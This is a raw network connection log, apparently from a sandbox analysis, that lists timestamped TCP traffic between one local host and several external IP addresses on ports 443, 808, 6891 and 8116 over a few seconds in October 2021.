Oct 28, 2021 04:59:57.370636940 CEST	50052	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:57.370726109 CEST	443	50052	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:57.370839119 CEST	50052	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:57.371407986 CEST	50052	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:57.371438026 CEST	443	50052	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:57.410042048 CEST	8116	50050	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:57.489495039 CEST	50053	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:57.489540100 CEST	443	50053	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:57.489816904 CEST	50053	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:57.491158962 CEST	50053	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:57.491179943 CEST	443	50053	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:57.887788057 CEST	443	50052	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:57.888041973 CEST	50052	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:57.888690948 CEST	50052	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:57.888709068 CEST	443	50052	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:57.898682117 CEST	50052	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:57.898718119 CEST	443	50052	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:57.898880959 CEST	50052	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:57.898896933 CEST	443	50052	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:58.008614063 CEST	443	50053	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:58.008759022 CEST	50053	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:58.009913921 CEST	50053	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:58.009922981 CEST	443	50053	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:58.026654005 CEST	50053	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:58.026670933 CEST	443	50053	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:58.026793003 CEST	50053	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:58.026802063 CEST	443	50053	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:58.606856108 CEST	443	50052	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:58.606993914 CEST	50052	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:58.607024908 CEST	443	50052	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:58.607059002 CEST	443	50052	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:58.607084990 CEST	50052	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:58.607119083 CEST	50052	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:58.609690905 CEST	50052	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:58.609757900 CEST	443	50052	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:58.730091095 CEST	443	50053	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:58.730170012 CEST	50053	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:58.730185986 CEST	443	50053	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:58.730216980 CEST	443	50053	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:58.730243921 CEST	50053	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:58.730268002 CEST	50053	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:58.731251955 CEST	50059	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:58.736948967 CEST	50053	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:58.736982107 CEST	443	50053	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:58.860389948 CEST	50061	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:58.894098997 CEST	808	50059	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:58.894241095 CEST	50059	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:58.894907951 CEST	50059	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:59.031943083 CEST	808	50061	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:59.032188892 CEST	50061	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:59.033194065 CEST	50061	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:59.057569027 CEST	808	50059	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:59.057607889 CEST	808	50059	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:59.057672977 CEST	50059	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:59.058298111 CEST	50059	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:59.062787056 CEST	50059	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:59.062884092 CEST	50059	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:59.204644918 CEST	808	50061	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:59.204781055 CEST	808	50061	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:59.204910040 CEST	50061	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:59.205701113 CEST	50061	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:59.220998049 CEST	808	50059	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:59.224330902 CEST	50061	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:59.224555969 CEST	50061	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:59.225564957 CEST	808	50059	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:59.225586891 CEST	808	50059	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:59.225711107 CEST	808	50059	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:59.225729942 CEST	808	50059	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:59.225765944 CEST	808	50059	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:59.377100945 CEST	808	50061	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:59.395972013 CEST	808	50061	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:59.396003962 CEST	808	50061	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:59.396017075 CEST	808	50061	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:59.611320019 CEST	808	50059	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:59.611351967 CEST	808	50059	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:59.611495972 CEST	50059	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:59.616991997 CEST	50059	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:59.734375954 CEST	50065	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:59.779886961 CEST	808	50059	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:59.781332016 CEST	808	50061	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:59.781363010 CEST	808	50061	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:59.781488895 CEST	50061	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:59.781543016 CEST	50061	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:59.794033051 CEST	50061	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:59.899909019 CEST	6891	50065	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:59.900145054 CEST	50065	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:59.900763035 CEST	50065	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:59.918119907 CEST	50067	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:59.966403961 CEST	808	50061	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:00.066062927 CEST	6891	50065	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:00.066234112 CEST	6891	50065	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:00.066332102 CEST	50065	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:00.066895962 CEST	50065	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:00.071470976 CEST	50065	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:00.071619034 CEST	50065	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:00.083461046 CEST	6891	50067	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:00.083682060 CEST	50067	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:00.084474087 CEST	50067	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:00.236679077 CEST	6891	50065	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:00.236784935 CEST	6891	50065	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:00.249619961 CEST	6891	50067	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:00.249713898 CEST	6891	50067	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:00.249785900 CEST	50067	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:00.250380039 CEST	50067	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:00.254308939 CEST	50067	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:00.254451036 CEST	50067	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:00.419538975 CEST	6891	50067	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:00.419567108 CEST	6891	50067	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:00.419578075 CEST	6891	50067	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:00.620512962 CEST	6891	50065	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:00.620553970 CEST	6891	50065	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:00.620630026 CEST	50065	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:00.620661020 CEST	50065	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:00.623562098 CEST	50065	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:00.747773886 CEST	50070	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:00.789130926 CEST	6891	50065	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:00.798017979 CEST	6891	50067	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:00.798037052 CEST	6891	50067	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:00.798129082 CEST	50067	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:00.801239014 CEST	8116	50070	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:00.801367998 CEST	50070	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:00.802129030 CEST	50070	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:00.808193922 CEST	50067	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:00.854926109 CEST	8116	50070	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:00.855115891 CEST	8116	50070	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:00.855216980 CEST	50070	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:00.855828047 CEST	50070	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:00.861108065 CEST	50070	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:00.861279964 CEST	50070	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:00.917046070 CEST	8116	50070	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:00.917068958 CEST	8116	50070	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:00.923693895 CEST	50071	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:00.973434925 CEST	6891	50067	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:00.977741957 CEST	8116	50071	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:00.978043079 CEST	50071	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:00.978791952 CEST	50071	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:01.032450914 CEST	8116	50071	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:01.032692909 CEST	8116	50071	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:01.032769918 CEST	50071	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:01.033503056 CEST	50071	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:01.040189981 CEST	50071	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:01.040421963 CEST	50071	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:01.094121933 CEST	8116	50071	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:01.094775915 CEST	8116	50071	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:01.102986097 CEST	8116	50070	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:01.103004932 CEST	8116	50070	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:01.103094101 CEST	50070	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:01.107642889 CEST	50070	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:01.160962105 CEST	8116	50070	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:01.230390072 CEST	50072	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:01.230463982 CEST	443	50072	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:01.230552912 CEST	50072	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:01.231301069 CEST	50072	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:01.231334925 CEST	443	50072	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:01.282603979 CEST	8116	50071	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:01.282633066 CEST	8116	50071	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:01.282681942 CEST	50071	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:01.282716036 CEST	50071	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:01.290576935 CEST	50071	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:01.344355106 CEST	8116	50071	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:01.482256889 CEST	50073	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:01.482295990 CEST	443	50073	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:01.482391119 CEST	50073	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:01.483100891 CEST	50073	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:01.483115911 CEST	443	50073	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:01.719072104 CEST	443	50072	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:01.719257116 CEST	50072	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:01.720360041 CEST	50072	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:01.720386982 CEST	443	50072	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:01.727521896 CEST	50072	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:01.727559090 CEST	443	50072	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:01.727624893 CEST	50072	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:01.727633953 CEST	443	50072	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:02.005584955 CEST	443	50073	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:02.005701065 CEST	50073	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:02.006294966 CEST	50073	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:02.006304026 CEST	443	50073	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:02.010001898 CEST	50073	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:02.010018110 CEST	443	50073	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:02.010087967 CEST	50073	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:02.010096073 CEST	443	50073	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:02.412751913 CEST	443	50072	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:02.412823915 CEST	443	50072	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:02.412906885 CEST	50072	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:02.415312052 CEST	50072	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:02.415348053 CEST	443	50072	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:02.574951887 CEST	50074	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:02.722688913 CEST	443	50073	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:02.722779989 CEST	443	50073	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:02.722798109 CEST	50073	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:02.722862005 CEST	50073	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:02.731534958 CEST	50073	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:02.731571913 CEST	443	50073	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:02.739921093 CEST	808	50074	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:02.740130901 CEST	50074	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:02.740793943 CEST	50074	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:02.855838060 CEST	50075	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:02.905611992 CEST	808	50074	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:02.905704975 CEST	808	50074	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:02.905810118 CEST	50074	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:02.906735897 CEST	50074	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:02.912549973 CEST	50074	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:02.912688971 CEST	50074	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:03.018775940 CEST	808	50075	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:03.019042015 CEST	50075	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:03.019810915 CEST	50075	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:03.071455002 CEST	808	50074	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:03.077286959 CEST	808	50074	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:03.077311993 CEST	808	50074	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:03.077325106 CEST	808	50074	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:03.077336073 CEST	808	50074	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:03.182621002 CEST	808	50075	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:03.182858944 CEST	808	50075	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:03.183027983 CEST	50075	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:03.183654070 CEST	50075	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:03.188106060 CEST	50075	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:03.188405991 CEST	50075	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:03.346465111 CEST	808	50075	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:03.350967884 CEST	808	50075	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:03.351136923 CEST	808	50075	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:03.351252079 CEST	808	50075	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:03.454288960 CEST	808	50074	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:03.454330921 CEST	808	50074	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:03.454547882 CEST	50074	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:03.454722881 CEST	50074	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:03.458161116 CEST	50074	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:03.590049982 CEST	50076	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:03.623142004 CEST	808	50074	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:03.732992887 CEST	808	50075	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:03.733017921 CEST	808	50075	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:03.733123064 CEST	50075	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:03.733186960 CEST	50075	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:03.740689993 CEST	50075	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:03.755877018 CEST	6891	50076	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:03.756062984 CEST	50076	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:03.903845072 CEST	808	50075	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:03.913419008 CEST	50076	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:04.033030033 CEST	50077	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:04.078963041 CEST	6891	50076	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:04.079003096 CEST	6891	50076	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:04.079138041 CEST	50076	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:04.079809904 CEST	50076	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:04.083874941 CEST	50076	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:04.084031105 CEST	50076	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:04.198492050 CEST	6891	50077	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:04.198621988 CEST	50077	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:04.199393988 CEST	50077	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:04.249419928 CEST	6891	50076	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:04.249532938 CEST	6891	50076	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:04.364707947 CEST	6891	50077	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:04.364732981 CEST	6891	50077	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:04.364804029 CEST	50077	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:04.387573004 CEST	50077	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:04.394908905 CEST	50077	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:04.395068884 CEST	50077	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:04.562870026 CEST	6891	50077	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:04.562891960 CEST	6891	50077	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:04.562903881 CEST	6891	50077	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:04.631793976 CEST	6891	50076	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:04.631820917 CEST	6891	50076	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:04.631917000 CEST	50076	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:04.635201931 CEST	50076	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:04.746489048 CEST	50078	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:04.800705910 CEST	6891	50076	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:04.803545952 CEST	8116	50078	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:04.803793907 CEST	50078	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:04.805116892 CEST	50078	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:04.861778975 CEST	8116	50078	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:04.861884117 CEST	8116	50078	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:04.861947060 CEST	50078	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:04.864075899 CEST	50078	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:04.867033958 CEST	50078	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:04.867141962 CEST	50078	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:04.923556089 CEST	8116	50078	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:04.923634052 CEST	8116	50078	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:04.924319983 CEST	8116	50078	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:04.944891930 CEST	6891	50077	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:04.944915056 CEST	6891	50077	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:04.944982052 CEST	50077	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:04.952260971 CEST	50077	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:05.097507954 CEST	8116	50078	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:05.097531080 CEST	8116	50078	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:05.097651958 CEST	50078	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:05.097676039 CEST	50078	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:05.117676020 CEST	6891	50077	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:05.455740929 CEST	50078	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:05.471568108 CEST	50079	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:05.512579918 CEST	8116	50078	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:05.526216984 CEST	8116	50079	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:05.526319981 CEST	50079	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:05.527136087 CEST	50079	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:05.577953100 CEST	50080	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:05.578011036 CEST	443	50080	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:05.578102112 CEST	50080	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:05.578897953 CEST	50080	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:05.578927040 CEST	443	50080	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:05.581593037 CEST	8116	50079	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:05.582032919 CEST	8116	50079	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:05.582103968 CEST	50079	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:05.585623026 CEST	50079	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:05.590194941 CEST	50079	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:05.590316057 CEST	50079	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:05.645663977 CEST	8116	50079	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:05.645701885 CEST	8116	50079	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:05.817897081 CEST	8116	50079	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:05.817950010 CEST	8116	50079	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:05.818022013 CEST	50079	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:05.818085909 CEST	50079	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:05.826509953 CEST	50079	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:05.881225109 CEST	8116	50079	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:05.951899052 CEST	50081	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:05.951967955 CEST	443	50081	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:05.952085972 CEST	50081	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:05.952882051 CEST	50081	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:05.952922106 CEST	443	50081	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:06.070439100 CEST	443	50080	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:06.070620060 CEST	50080	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:06.095503092 CEST	50080	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:06.095518112 CEST	443	50080	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:06.101233959 CEST	50080	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:06.101247072 CEST	443	50080	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:06.101376057 CEST	50080	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:06.101386070 CEST	443	50080	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:06.437567949 CEST	443	50081	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:06.440498114 CEST	50081	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:06.793905973 CEST	443	50080	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:06.793996096 CEST	443	50080	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:06.794212103 CEST	50080	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:06.987840891 CEST	50081	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:06.987890005 CEST	443	50081	192.46.210.220	192.168.2.6
